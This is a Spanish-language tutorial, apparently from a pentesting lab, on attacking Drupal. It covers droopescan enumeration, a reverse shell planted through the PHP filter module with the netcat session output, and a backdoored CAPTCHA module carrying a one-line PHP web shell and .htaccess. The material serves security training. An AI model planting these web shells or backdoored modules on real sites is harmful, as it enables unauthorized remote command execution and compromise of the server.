Hacking Drupal

Tipos de ataque

Featured image

Drupal es un sistema de gestión de contenidos (CMS) de código abierto escrito en PHP. Permite crear y administrar sitios web complejos mediante un núcleo flexible y una gran cantidad de módulos y temas que amplían funcionalidades (formularios, usuarios, taxonomías, e-commerce, APIs, etc.).

Enumeración

Obtención de versión

Una de las formas de detectar la versión es consultando el archivo CHANGELOG.txt es decir http://test.local/CHANGELOG.txt.

Droopescan

Droopescan es una herramienta de auditoría dirigida a gestores de contenidos (originalmente muy enfocada en Drupal, pero también soporta Wordpress, Joomla y otros). En el contexto de Drupal, sirve para automatizar tareas de reconocimiento y detección rápida de posibles superficies de ataque.

┌──(root㉿nptg)-[/drupal]
└─# droopescan scan drupal -u http://drupal-qa.inlanefreight.local 
[+] Plugins found:                                                              
    profile http://drupal-qa.inlanefreight.local/modules/profile/
    php http://drupal-qa.inlanefreight.local/modules/php/
    image http://drupal-qa.inlanefreight.local/modules/image/

[+] Themes found:
    seven http://drupal-qa.inlanefreight.local/themes/seven/
    garland http://drupal-qa.inlanefreight.local/themes/garland/

[+] Possible version(s):
    7.30

[+] Possible interesting urls found:
    Default changelog file - http://drupal-qa.inlanefreight.local/CHANGELOG.txt
    Default admin - http://drupal-qa.inlanefreight.local/user/login

[+] Scan finished (0:03:50.356192 elapsed)

Roles de los usuarios

Explotación

Módulo de filtro PHP

En versiones anteriores de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter el cual es una extensión que permite insertar y ejecutar código PHP directamente dentro del contenido del sitio (por ejemplo en nodos, bloques o filtros de texto).

Para aprovechar esta vulnerabilidad es necesario estar autenticado como administrador, como se muestra en este caso, y además que la instalación cumpla con la versión vulnerable.

drupal1

Nos dirigimos a add content y seleccionamos basic page.

drupal2

Generamos la reverse shell.

drupal3

Al guardar, seremos redirigidos al directorio /node/3.

┌──(root㉿nptg)-[/drupal]
└─# nc -nlvp 4646  
listening on [any] 4646 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.42.195] 56748
Linux app01 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 23:24:50 up  1:03,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ ls -al
total 76
drwxr-xr-x  20 root root  4096 Sep 30  2021 .
drwxr-xr-x  20 root root  4096 Sep 30  2021 ..
lrwxrwxrwx   1 root root     7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x   4 root root  4096 Sep 29  2021 boot
drwxr-xr-x   2 root root  4096 Dec 15  2020 cdrom
drwxr-xr-x  19 root root  3980 Nov  3 22:21 dev
drwxr-xr-x  98 root root  4096 Sep 29  2021 etc
drwxr-xr-x   4 root root  4096 Sep 29  2021 home
lrwxrwxrwx   1 root root     7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Apr 23  2020 libx32 -> usr/libx32
drwx------   2 root root 16384 Dec 15  2020 lost+found
drwxr-xr-x   2 root root  4096 Apr 23  2020 media
drwxr-xr-x   2 root root  4096 Apr 23  2020 mnt
drwxr-xr-x   2 root root  4096 Apr 23  2020 opt
dr-xr-xr-x 225 root root     0 Nov  3 22:21 proc
drwx------   6 root root  4096 Sep 30  2021 root
drwxr-xr-x  29 root root   860 Nov  3 22:21 run
lrwxrwxrwx   1 root root     8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x   7 root root  4096 Aug 16  2021 snap
drwxr-xr-x   2 root root  4096 Apr 23  2020 srv
dr-xr-xr-x  13 root root     0 Nov  3 22:21 sys
drwxrwxrwt   2 root root  4096 Nov  3 22:21 tmp
drwxr-xr-x  15 root root  4096 Aug 16  2021 usr
drwxr-xr-x  14 root root  4096 Aug 16  2021 var

A partir de la versión 8, el módulo PHP filter no está instalado de forma predeterminada. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo.

Una vez descargado, vaya a Administration > Reports > Available updates.

Subir un módulo con backdoor

Drupal permite a los usuarios con los permisos adecuados cargar un nuevo módulo. Se puede crear un módulo con puerta trasera agregando un shell a un módulo existente. Para ello debemos descargar un modulo legítimo (CAPTCHA).

┌──(root㉿nptg)-[/drupal]
└─# wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz

┌──(root㉿nptg)-[/drupal]
└─# tar xvf captcha-8.x-1.2.tar.gz

creamos una shell dentro de la carpeta captcha.

┌──(root㉿nptg)-[/drupal/captcha]
└─# nano shell.php
<?=`$_GET[0]`?>

A continuación, necesitamos crear un archivo .htaccess para darnos acceso a la carpeta.

┌──(root㉿nptg)-[/drupal/captcha]
└─# nano .htaccess

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>

Retrocedemos un directorio hacia atrás y ejecutamos lo siguiente:

┌──(root㉿nptg)-[/drupal/captcha]
└─# cd ..

┌──(root㉿nptg)-[/drupal/]
└─# tar cvf captcha.tar.gz captcha/

Este nuevo archivo lo instalaremos como nuevo modulo en Manage, luego extend. O directamente consultando /admin/modules/install.

drupal6

drupal4

Le damos a seleccionar archivo y subimos nuestro modulo de captcha malicioso e instalamos.

drupal5

Finalmente debemos navegar hasta /modules/captcha/shell.php?0=id.

Drupalgeddon

Drupalgeddon son un grupo de vulnerabilidades que permiten ejecución remota de código (RCE) en drupal.

Las direcciones URLs de los exploits se encuentran referenciados en cada punto haciendo click sobre los CVE.